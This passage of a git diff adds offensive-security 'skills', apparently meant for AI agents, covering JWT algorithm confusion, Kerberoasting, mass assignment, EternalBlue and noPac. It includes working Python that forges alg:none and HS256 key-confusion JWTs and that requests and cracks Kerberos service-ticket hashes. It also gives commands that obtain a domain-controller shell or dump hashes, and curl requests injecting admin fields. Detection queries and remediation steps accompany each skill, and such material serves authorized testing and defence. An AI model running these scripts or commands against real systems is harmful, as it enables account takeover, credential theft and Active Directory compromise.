"HS256", "kid": "../../dev/null"} +``` + +## Python PyJWT Library + +### Decode without verification +```python +import jwt +decoded = jwt.decode(token, options={"verify_signature": False}) +``` + +### Verify with algorithm restriction +```python +decoded = jwt.decode(token, public_key, algorithms=["RS256"]) +``` + +## jwt_tool — JWT Testing Tool + +### Scan for vulnerabilities +```bash +python3 jwt_tool.py -M at # All tests +python3 jwt_tool.py -X a # alg:none attack +python3 jwt_tool.py -X k -pk public.pem # Key confusion +``` + +## Remediation +1. Always specify allowed algorithms: `algorithms=["RS256"]` +2. Never accept `alg: none` +3. Use separate verification logic for symmetric vs asymmetric +4. Validate JKU/X5U against allowlist diff --git a/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py b/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py new file mode 100644 index 00000000..bb2ccdaf --- /dev/null +++ b/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Agent for testing JWT algorithm confusion vulnerabilities.""" + +import argparse +import base64 +import hashlib +import hmac +import json +import sys +from datetime import datetime, timezone + + +def decode_jwt(token): + """Decode a JWT token without verification.""" + parts = token.split(".") + if len(parts) != 3: + return None + header = json.loads(base64.urlsafe_b64decode(parts[0] + "==")) + payload = json.loads(base64.urlsafe_b64decode(parts[1] + "==")) + return {"header": header, "payload": payload, "signature": parts[2]} + + +def forge_none_alg(payload_dict): + """Create a JWT with alg:none (CVE in some libraries).""" + header = base64.urlsafe_b64encode( + json.dumps({"alg": "none", "typ": "JWT"}).encode() + ).rstrip(b"=").decode() + payload = base64.urlsafe_b64encode( + json.dumps(payload_dict).encode() + ).rstrip(b"=").decode() + return f"{header}.{payload}." + + +def forge_hs256_with_public_key(payload_dict, public_key_pem): + """Forge JWT by signing with RSA public key as HMAC secret (alg confusion).""" + header = base64.urlsafe_b64encode( + json.dumps({"alg": "HS256", "typ": "JWT"}).encode() + ).rstrip(b"=").decode() + payload = base64.urlsafe_b64encode( + json.dumps(payload_dict).encode() + ).rstrip(b"=").decode() + signing_input = f"{header}.{payload}".encode() + key_bytes = public_key_pem.encode() if isinstance(public_key_pem, str) else public_key_pem + signature = hmac.new(key_bytes, signing_input, hashlib.sha256).digest() + sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b"=").decode() + return f"{header}.{payload}.{sig_b64}" + + +def analyze_jwt(token): + """Analyze a JWT for common vulnerabilities.""" + decoded = decode_jwt(token) + if not decoded: + return {"error": "Invalid JWT format"} + + findings = [] + header = decoded["header"] + payload = decoded["payload"] + + alg = header.get("alg", "") + if alg.lower() == "none": + findings.append({"issue": "Algorithm set to 'none'", "severity": "CRITICAL"}) + if header.get("jku"): + findings.append({"issue": f"JKU header present: {header['jku']}", "severity": "HIGH"}) + if header.get("x5u"): + findings.append({"issue": f"X5U header present: {header['x5u']}", "severity": "HIGH"}) + if header.get("kid"): + findings.append({"issue": f"KID header: {header['kid']}", "severity": "MEDIUM"}) + + exp = payload.get("exp") + if exp: + from datetime import datetime as dt + exp_dt = dt.fromtimestamp(exp, tz=timezone.utc) + if exp_dt < dt.now(timezone.utc): + findings.append({"issue": f"Token expired: {exp_dt.isoformat()}", "severity": "LOW"}) + else: + findings.append({"issue": "No expiration claim", "severity": "MEDIUM"}) + + if payload.get("admin") or payload.get("role") in ("admin", "root"): + findings.append({"issue": "Admin role in payload", "severity": "INFO"}) + + return { + "header": header, + "payload": payload, + "algorithm": alg, + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser( + description="Test JWT algorithm confusion vulnerabilities (authorized testing only)" + ) + parser.add_argument("--token", help="JWT token to analyze") + parser.add_argument("--forge-none", action="store_true", help="Forge alg:none token") + parser.add_argument("--forge-hs256", help="Path to RSA public key for alg confusion") + parser.add_argument("--payload", help="JSON payload for forged token") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] JWT Algorithm Confusion Testing Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.token: + analysis = analyze_jwt(args.token) + report["findings"].append({"type": "analysis", **analysis}) + print(f"[*] Algorithm: {analysis.get('algorithm', 'unknown')}") + print(f"[*] Issues: {len(analysis.get('findings', []))}") + + payload_dict = json.loads(args.payload) if args.payload else {"sub": "admin", "admin": True} + + if args.forge_none: + forged = forge_none_alg(payload_dict) + report["findings"].append({"type": "forge_none", "token": forged}) + print(f"[*] Forged alg:none token: {forged[:60]}...") + + if args.forge_hs256: + with open(args.forge_hs256, "r") as f: + pub_key = f.read() + forged = forge_hs256_with_public_key(payload_dict, pub_key) + report["findings"].append({"type": "forge_hs256_confusion", "token": forged[:60] + "..."}) + print(f"[*] Forged HS256 confusion token generated") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-kerberoasting-with-impacket/LICENSE b/skills/exploiting-kerberoasting-with-impacket/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-kerberoasting-with-impacket/LICENSE +++ b/skills/exploiting-kerberoasting-with-impacket/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-kerberoasting-with-impacket/references/api-reference.md b/skills/exploiting-kerberoasting-with-impacket/references/api-reference.md new file mode 100644 index 00000000..8ef98d1a --- /dev/null +++ b/skills/exploiting-kerberoasting-with-impacket/references/api-reference.md @@ -0,0 +1,105 @@ +# API Reference: Kerberoasting with Impacket + +## MITRE ATT&CK T1558.003 — Kerberoasting + +### Attack Flow +1. Authenticate to AD with domain user credentials +2. Query LDAP for accounts with SPNs +3. Request TGS tickets for those SPNs +4. Extract ticket hashes +5. Crack offline with wordlist + +## Impacket — GetUserSPNs.py + +### Enumerate SPN Accounts +```bash +GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 +``` + +### Request TGS Tickets +```bash +GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 \ + -request -outputfile kerberoast.txt +``` + +### With NTLM Hash +```bash +GetUserSPNs.py domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.1 -request +``` + +### Output Format (Hashcat mode 13100) +``` +$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$...$ +``` + +## Rubeus — Windows Kerberoasting + +### Kerberoast All SPNs +```cmd +Rubeus.exe kerberoast /outfile:hashes.txt +``` + +### Target Specific User +```cmd +Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt +``` + +### RC4 Only (weaker, easier to crack) +```cmd +Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt +``` + +## Hash Cracking + +### Hashcat +```bash +# Kerberos 5 TGS-REP etype 23 (RC4) +hashcat -m 13100 hashes.txt wordlist.txt + +# Kerberos 5 TGS-REP etype 17 (AES-128) +hashcat -m 19600 hashes.txt wordlist.txt + +# Kerberos 5 TGS-REP etype 18 (AES-256) +hashcat -m 19700 hashes.txt wordlist.txt +``` + +### John the Ripper +```bash +john --wordlist=wordlist.txt hashes.txt +``` + +## PowerShell Enumeration + +### Find SPN Accounts +```powershell +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} ` + -Properties ServicePrincipalName, PasswordLastSet +``` + +### Request TGS (PowerView) +```powershell +Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash +``` + +## Detection + +### Event IDs +| Event | Description | +|-------|-------------| +| 4769 | Kerberos Service Ticket Request | +| 4770 | Service Ticket Renewed | + +### Detection Query +```kql +SecurityEvent +| where EventID == 4769 +| where TicketEncryptionType == "0x17" // RC4 +| where ServiceName !endswith "$" +| summarize count() by Account, ServiceName +``` + +## Remediation +1. Use Group Managed Service Accounts (gMSA) +2. Set strong passwords (25+ characters) on SPN accounts +3. Enable AES encryption for Kerberos (disable RC4) +4. Monitor Event 4769 for anomalous TGS requests diff --git a/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py b/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py new file mode 100644 index 00000000..e8fc3602 --- /dev/null +++ b/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing.""" + +import argparse +import json +import os +import subprocess +import sys +from datetime import datetime, timezone + + +def run_getuserspns(domain, username, password, dc_ip, output_file=None): + """Execute Impacket GetUserSPNs to extract service ticket hashes.""" + cmd = [ + "GetUserSPNs.py", f"{domain}/{username}:{password}", + "-dc-ip", dc_ip, "-request", + ] + if output_file: + cmd.extend(["-outputfile", output_file]) + try: + result = subprocess.check_output( + cmd, text=True, errors="replace", timeout=60 + ) + return {"status": "success", "output": result[:2000]} + except subprocess.SubprocessError as e: + return {"status": "failed", "error": str(e)[:200]} + except FileNotFoundError: + return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"} + + +def enumerate_spn_accounts_ldap(domain, username, password, dc_ip): + """Enumerate SPN accounts via LDAP query.""" + cmd = [ + "GetUserSPNs.py", f"{domain}/{username}:{password}", + "-dc-ip", dc_ip, + ] + try: + result = subprocess.check_output( + cmd, text=True, errors="replace", timeout=30 + ) + accounts = [] + for line in result.strip().splitlines(): + if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")): + parts = line.split() + if len(parts) >= 3: + accounts.append({ + "spn": parts[0], + "name": parts[1], + "memberof": parts[2] if len(parts) > 2 else "", + }) + return accounts + except (subprocess.SubprocessError, FileNotFoundError): + return [] + + +def crack_with_hashcat(hash_file, wordlist, rules=None): + """Crack Kerberos TGS hashes with hashcat.""" + cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"] + if rules: + cmd.extend(["-r", rules]) + try: + result = subprocess.check_output( + cmd, text=True, errors="replace", timeout=600 + ) + return {"status": "completed", "output": result[:1000]} + except subprocess.SubprocessError as e: + return {"status": "failed", "error": str(e)[:200]} + except FileNotFoundError: + return {"status": "failed", "error": "hashcat not found"} + + +def enumerate_powershell(): + """Enumerate SPN accounts via PowerShell (domain-joined Windows).""" + ps_cmd = ( + "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties " + "ServicePrincipalName,PasswordLastSet,Enabled,MemberOf " + "| Select-Object SamAccountName,Enabled,PasswordLastSet," + "@{N='SPNs';E={$_.ServicePrincipalName -join ','}} " + "| ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def main(): + parser = argparse.ArgumentParser( + description="Kerberoasting with Impacket (authorized testing only)" + ) + parser.add_argument("--domain", help="AD domain") + parser.add_argument("--username", help="Domain username") + parser.add_argument("--password", help="Domain password") + parser.add_argument("--dc-ip", help="Domain controller IP") + parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts") + parser.add_argument("--request", action="store_true", help="Request TGS tickets") + parser.add_argument("--hash-file", help="Output file for hashes") + parser.add_argument("--crack", help="Wordlist for hash cracking") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Kerberoasting Agent (Impacket)") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.enumerate: + if args.domain and args.username: + accounts = enumerate_spn_accounts_ldap( + args.domain, args.username, args.password or "", args.dc_ip or "" + ) + else: + accounts = enumerate_powershell() + report["findings"]["spn_accounts"] = accounts + print(f"[*] SPN accounts found: {len(accounts)}") + + if args.request and args.domain: + result = run_getuserspns( + args.domain, args.username or "", args.password or "", + args.dc_ip or "", args.hash_file + ) + report["findings"]["ticket_request"] = result + print(f"[*] Ticket request: {result['status']}") + + if args.crack and args.hash_file: + crack_result = crack_with_hashcat(args.hash_file, args.crack) + report["findings"]["cracking"] = crack_result + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-mass-assignment-in-rest-apis/LICENSE b/skills/exploiting-mass-assignment-in-rest-apis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-mass-assignment-in-rest-apis/LICENSE +++ b/skills/exploiting-mass-assignment-in-rest-apis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md b/skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md new file mode 100644 index 00000000..c64a06df --- /dev/null +++ b/skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md @@ -0,0 +1,100 @@ +# API Reference: Mass Assignment Vulnerability Testing + +## OWASP API3:2023 — Broken Object Property Level Authorization + +### Description +API accepts and processes fields that should not be client-settable. +Attackers add extra fields (role, isAdmin) to modify server-side properties. + +## Common Vulnerable Fields + +| Field | Impact | +|-------|--------| +| `role` / `isAdmin` | Privilege escalation | +| `permissions` | Authorization bypass | +| `verified` / `email_verified` | Account verification bypass | +| `balance` / `credits` | Financial manipulation | +| `plan` / `subscription` | Service tier elevation | + +## Testing Methodology + +### Step 1: Observe Normal Request +```bash +curl -X PUT https://api.target.com/users/me \ + -H "Authorization: Bearer $TOKEN" \ + -d '{"name": "Test User"}' +``` + +### Step 2: Add Privilege Fields +```bash +curl -X PUT https://api.target.com/users/me \ + -H "Authorization: Bearer $TOKEN" \ + -d '{"name": "Test User", "role": "admin", "isAdmin": true}' +``` + +### Step 3: Verify Changes +```bash +curl https://api.target.com/users/me -H "Authorization: Bearer $TOKEN" +``` + +## Python Testing Script + +```python +import requests + +base_payload = {"name": "Test"} +privilege_fields = { + "role": "admin", + "isAdmin": True, + "permissions": ["*"], +} + +for field, value in privilege_fields.items(): + payload = {**base_payload, field: value} + resp = requests.put(url, json=payload, headers=headers) + if resp.status_code == 200 and field in resp.text: + print(f"VULNERABLE: {field} accepted") +``` + +## Framework-Specific Vulnerabilities + +### Ruby on Rails +```ruby +# Vulnerable +User.new(params[:user]) + +# Fixed +User.new(params.require(:user).permit(:name, :email)) +``` + +### Node.js/Express +```javascript +// Vulnerable +User.findByIdAndUpdate(id, req.body) + +// Fixed +const { name, email } = req.body; +User.findByIdAndUpdate(id, { name, email }) +``` + +### Django REST Framework +```python +# Vulnerable: all fields writable +class UserSerializer(serializers.ModelSerializer): + class Meta: + model = User + fields = '__all__' + +# Fixed: explicit fields +class UserSerializer(serializers.ModelSerializer): + class Meta: + model = User + fields = ['name', 'email'] + read_only_fields = ['role', 'is_admin'] +``` + +## Remediation +1. Use allowlists for acceptable fields (never blocklists) +2. Implement read-only fields for sensitive properties +3. Use separate DTOs for input and output +4. Validate request schema against OpenAPI spec diff --git a/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py b/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py new file mode 100644 index 00000000..628a9a92 --- /dev/null +++ b/skills/exploiting-mass-assignment-in-rest-apis/scripts/agent.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 +"""Agent for detecting mass assignment vulnerabilities in REST APIs.""" + +import argparse +import json +import sys +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +PRIVILEGE_FIELDS = [ + "role", "roles", "is_admin", "isAdmin", "admin", "privilege", + "permissions", "access_level", "user_type", "group", "groups", + "verified", "is_verified", "email_verified", "active", "is_active", + "approved", "is_approved", "subscription", "plan", "tier", + "credits", "balance", "discount", +] + + +def get_baseline_response(url, token=None): + """Get baseline response to understand normal object structure.""" + if not HAS_REQUESTS: + return {} + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + return resp.json() + except (requests.RequestException, json.JSONDecodeError): + return {} + + +def test_mass_assignment(url, method, base_data, extra_fields, token=None): + """Test mass assignment by injecting extra fields in request body.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + headers["Content-Type"] = "application/json" + + for field in extra_fields: + test_values = { + "role": "admin", + "roles": ["admin"], + "is_admin": True, + "isAdmin": True, + "admin": True, + "permissions": ["*"], + "access_level": 999, + "verified": True, + "is_verified": True, + "active": True, + "is_active": True, + "credits": 99999, + "balance": 99999, + "plan": "enterprise", + } + payload = {**base_data, field: test_values.get(field, True)} + + try: + if method.upper() == "POST": + resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) + elif method.upper() == "PUT": + resp = requests.put(url, json=payload, headers=headers, timeout=10, verify=False) + elif method.upper() == "PATCH": + resp = requests.patch(url, json=payload, headers=headers, timeout=10, verify=False) + else: + continue + + if resp.status_code in (200, 201): + resp_data = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else {} + if field in str(resp_data): + findings.append({ + "field": field, + "value_sent": test_values.get(field, True), + "status_code": resp.status_code, + "field_in_response": True, + "severity": "CRITICAL" if field in ("role", "is_admin", "admin", "permissions") else "HIGH", + }) + except requests.RequestException: + continue + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect mass assignment vulnerabilities in REST APIs (authorized testing only)" + ) + parser.add_argument("--url", required=True, help="API endpoint URL") + parser.add_argument("--method", default="PUT", choices=["POST", "PUT", "PATCH"]) + parser.add_argument("--data", required=True, help="Base request JSON data") + parser.add_argument("--token", help="Bearer token") + parser.add_argument("--fields", nargs="*", help="Custom fields to test") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Mass Assignment Testing Agent") + print("[!] For authorized security testing only") + + base_data = json.loads(args.data) + extra_fields = args.fields or PRIVILEGE_FIELDS + + findings = test_mass_assignment(args.url, args.method, base_data, extra_fields, args.token) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "target": args.url, + "fields_tested": len(extra_fields), + "findings": findings, + "risk_level": "CRITICAL" if any(f["severity"] == "CRITICAL" for f in findings) else "HIGH" if findings else "LOW", + } + print(f"[*] Tested {len(extra_fields)} fields, {len(findings)} accepted") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE b/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE +++ b/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md b/skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md new file mode 100644 index 00000000..a673a02e --- /dev/null +++ b/skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md @@ -0,0 +1,86 @@ +# API Reference: MS17-010 (EternalBlue) Detection + +## CVE-2017-0144 — EternalBlue + +### Affected Systems +- Windows XP, Vista, 7, 8, 8.1, 10 (pre-patch) +- Windows Server 2003, 2008, 2008 R2, 2012, 2016 (pre-patch) + +### Protocol: SMBv1 (Port 445) + +## Nmap NSE Script + +### Check for MS17-010 +```bash +nmap -p 445 --script smb-vuln-ms17-010 +``` + +### Output (Vulnerable) +``` +PORT STATE SERVICE +445/tcp open microsoft-ds +| smb-vuln-ms17-010: +| VULNERABLE: +| Remote Code Execution vulnerability in Microsoft SMBv1 servers +| Risk factor: HIGH CVSSv2: 9.3 +``` + +## SMB Protocol Basics + +### Negotiate Protocol Request +| Offset | Size | Field | +|--------|------|-------| +| 0 | 4 | NetBIOS Session header | +| 4 | 4 | SMB magic (0xFF534D42) | +| 8 | 1 | Command (0x72 = Negotiate) | +| 9 | 4 | Status | +| 13 | 1 | Flags | + +### SMB Versions +| Version | Protocol | Notes | +|---------|----------|-------| +| SMBv1 | NT LM 0.12 | Vulnerable to EternalBlue | +| SMBv2 | SMB 2.002 | Not vulnerable | +| SMBv3 | SMB 3.0 | Not vulnerable | + +## Python Socket Check + +### SMBv1 Connection Test +```python +import socket +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.settimeout(5) +sock.connect((target, 445)) +sock.send(SMB_NEGOTIATE_PACKET) +response = sock.recv(4096) +``` + +## Metasploit Module (Authorized Testing) + +### Scanner +``` +use auxiliary/scanner/smb/smb_ms17_010 +set RHOSTS +run +``` + +### Detection Events + +| Source | Indicator | +|--------|-----------| +| Windows Event 7036 | Service state change | +| Sysmon Event 3 | Network connection to 445 | +| IDS | Signature for EternalBlue SMB exploit | + +## Remediation +1. Apply MS17-010 patch (KB4012598 / KB4013389) +2. Disable SMBv1: `Set-SmbServerConfiguration -EnableSMB1Protocol $false` +3. Block port 445 at network perimeter +4. Enable Windows Firewall rules for SMB + +## Suricata Detection Rule +``` +alert tcp any any -> $HOME_NET 445 (msg:"ET EXPLOIT EternalBlue Attempt"; + flow:established,to_server; content:"|ff|SMB|73|"; + content:"|08 00|"; within:2; distance:54; sid:2024217;) +``` diff --git a/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py b/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py new file mode 100644 index 00000000..eace4c93 --- /dev/null +++ b/skills/exploiting-ms17-010-eternalblue-vulnerability/scripts/agent.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +"""Agent for detecting MS17-010 (EternalBlue) vulnerability — authorized testing only.""" + +import argparse +import json +import socket +import struct +import subprocess +import sys +from datetime import datetime, timezone + + +SMB_NEGOTIATE = ( + b"\x00\x00\x00\x85" # NetBIOS + b"\xff\x53\x4d\x42" # SMB magic + b"\x72" # Negotiate Protocol + b"\x00\x00\x00\x00" # Status + b"\x18\x53\xc8" # Flags + b"\x00\x00" # Flags2 + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Extra + b"\x00\x00\xff\xfe\x00\x00\x00\x00" # TreeID/PID + b"\x00\x00\x00\x00" # UserID/MuxID + b"\x00" # WordCount + b"\x62\x00" # ByteCount + b"\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f" + b"\x47\x52\x41\x4d\x20\x31\x2e\x30\x00" + b"\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" + b"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f" + b"\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00" + b"\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00" + b"\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00" + b"\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" +) + + +def check_ms17_010(target_ip, port=445, timeout=5): + """Check if target is vulnerable to MS17-010 via SMB negotiation.""" + result = { + "target": target_ip, + "port": port, + "smb_open": False, + "vulnerable": False, + "os_info": "", + } + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((target_ip, port)) + result["smb_open"] = True + sock.send(SMB_NEGOTIATE) + data = sock.recv(4096) + if len(data) > 36: + result["os_info"] = "SMB service responding" + if data[4:8] == b"\xff\x53\x4d\x42": + result["smb_version"] = "SMBv1" + sock.close() + except (socket.timeout, ConnectionRefusedError, OSError): + pass + return result + + +def nmap_ms17_010_check(target_ip): + """Use nmap NSE script to check for MS17-010.""" + try: + result = subprocess.check_output( + ["nmap", "-p", "445", "--script", "smb-vuln-ms17-010", target_ip], + text=True, errors="replace", timeout=30 + ) + vulnerable = "VULNERABLE" in result + return { + "target": target_ip, + "method": "nmap", + "vulnerable": vulnerable, + "output": result[:500], + } + except (subprocess.SubprocessError, FileNotFoundError): + return {"target": target_ip, "method": "nmap", "status": "nmap not available"} + + +def scan_network(cidr, port=445): + """Scan a network range for SMB port and MS17-010.""" + import ipaddress + results = [] + try: + network = ipaddress.ip_network(cidr, strict=False) + except ValueError: + return results + for ip in list(network.hosts())[:256]: + ip_str = str(ip) + result = check_ms17_010(ip_str, port, timeout=2) + if result["smb_open"]: + results.append(result) + return results + + +def main(): + parser = argparse.ArgumentParser( + description="Detect MS17-010 EternalBlue vulnerability (authorized testing only)" + ) + parser.add_argument("--target", help="Target IP address") + parser.add_argument("--network", help="Network CIDR to scan") + parser.add_argument("--nmap", action="store_true", help="Use nmap NSE script") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] MS17-010 (EternalBlue) Vulnerability Detection Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.target: + if args.nmap: + result = nmap_ms17_010_check(args.target) + else: + result = check_ms17_010(args.target) + report["findings"].append(result) + print(f"[*] {args.target}: SMB open={result.get('smb_open')}") + + if args.network: + results = scan_network(args.network) + report["findings"].extend(results) + print(f"[*] Network scan: {len(results)} hosts with SMB open") + + report["risk_level"] = "CRITICAL" if any(f.get("vulnerable") for f in report["findings"]) else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE b/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE +++ b/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md b/skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md new file mode 100644 index 00000000..c77644bd --- /dev/null +++ b/skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md @@ -0,0 +1,83 @@ +# API Reference: noPac (CVE-2021-42278/42287) + +## Vulnerability Overview + +### CVE-2021-42278 — sAMAccountName Spoofing +Allows renaming a machine account's sAMAccountName to match a DC name (without trailing $). + +### CVE-2021-42287 — KDC Confusion +KDC fails to verify PAC when sAMAccountName doesn't match, granting DC-level TGT. + +### Attack Chain +1. Create machine account (MachineAccountQuota > 0) +2. Rename machine sAMAccountName to DC name (e.g., DC01) +3. Request TGT for spoofed name +4. Rename back to original +5. Request S4U2Self — KDC returns ticket as DC$ + +## noPac.py (Impacket) + +### Scan for Vulnerability +```bash +noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan +``` + +### Exploit (Get Shell) +```bash +noPac.py domain.local/user:password -dc-ip 10.10.10.1 \ + -use-ldap -shell +``` + +### Dump Hashes +```bash +noPac.py domain.local/user:password -dc-ip 10.10.10.1 \ + -use-ldap -dump +``` + +## Prerequisites + +### MachineAccountQuota +```powershell +# Check quota +([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota" +# Default: 10 (any domain user can create 10 machine accounts) +``` + +### LDAP Query +```ldap +(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1)) +``` + +## Detection + +### Event IDs +| Event | Log | Description | +|-------|-----|-------------| +| 4741 | Security | Computer account created | +| 4742 | Security | Computer account changed | +| 4743 | Security | Computer account deleted | +| 4781 | Security | Account renamed | +| 4768 | Security | TGT requested | + +### Detection Query +```kql +SecurityEvent +| where EventID == 4781 +| where TargetUserName !endswith "$" +| where TargetUserName in ("DC01", "DC02") +``` + +## Patch Information + +### Microsoft KB +| KB | Description | +|----|-------------| +| KB5008380 | November 2021 patch | +| KB5008602 | OOB patch | +| KB5008207 | Cumulative update | + +## Remediation +1. Apply KB5008380 patch +2. Set MachineAccountQuota to 0 +3. Monitor Event 4741 and 4781 for anomalies +4. Enable PAC validation on all DCs diff --git a/skills/exploiting-nopac-cve-2021-42278-42287/scripts/agent.py b/skills/exploiting-nopac-cve-2021-42278-42287/scripts/agent.py new file mode 100644 index 00000000..1fe604ef --- /dev/null +++ b/skills/exploiting-nopac-cve-2021-42278-42287/scripts/agent.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python3 +"""Agent for detecting noPac (CVE-2021-42278/42287) AD privilege escalation vulnerability.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime, timezone + + +def check_nopac_impacket(domain, username, password, dc_ip): + """Check for noPac vulnerability using Impacket noPac.py.""" + cmd = [ + "noPac.py", f"{domain}/{username}:{password}", + "-dc-ip", dc_ip, "--scan", + ] + try: + result = subprocess.check_output( + cmd, text=True, errors="replace", timeout=30 + ) + return { + "method": "noPac.py", + "vulnerable": "VULNERABLE" in result.upper() or "success" in result.lower(), + "output": result[:1000], + } + except (subprocess.SubprocessError, FileNotFoundError): + return {"method": "noPac.py", "status": "tool not available"} + + +def check_machineaccountquota(domain, username, password, dc_ip): + """Check the MachineAccountQuota via LDAP — needed for noPac.""" + ps_cmd = 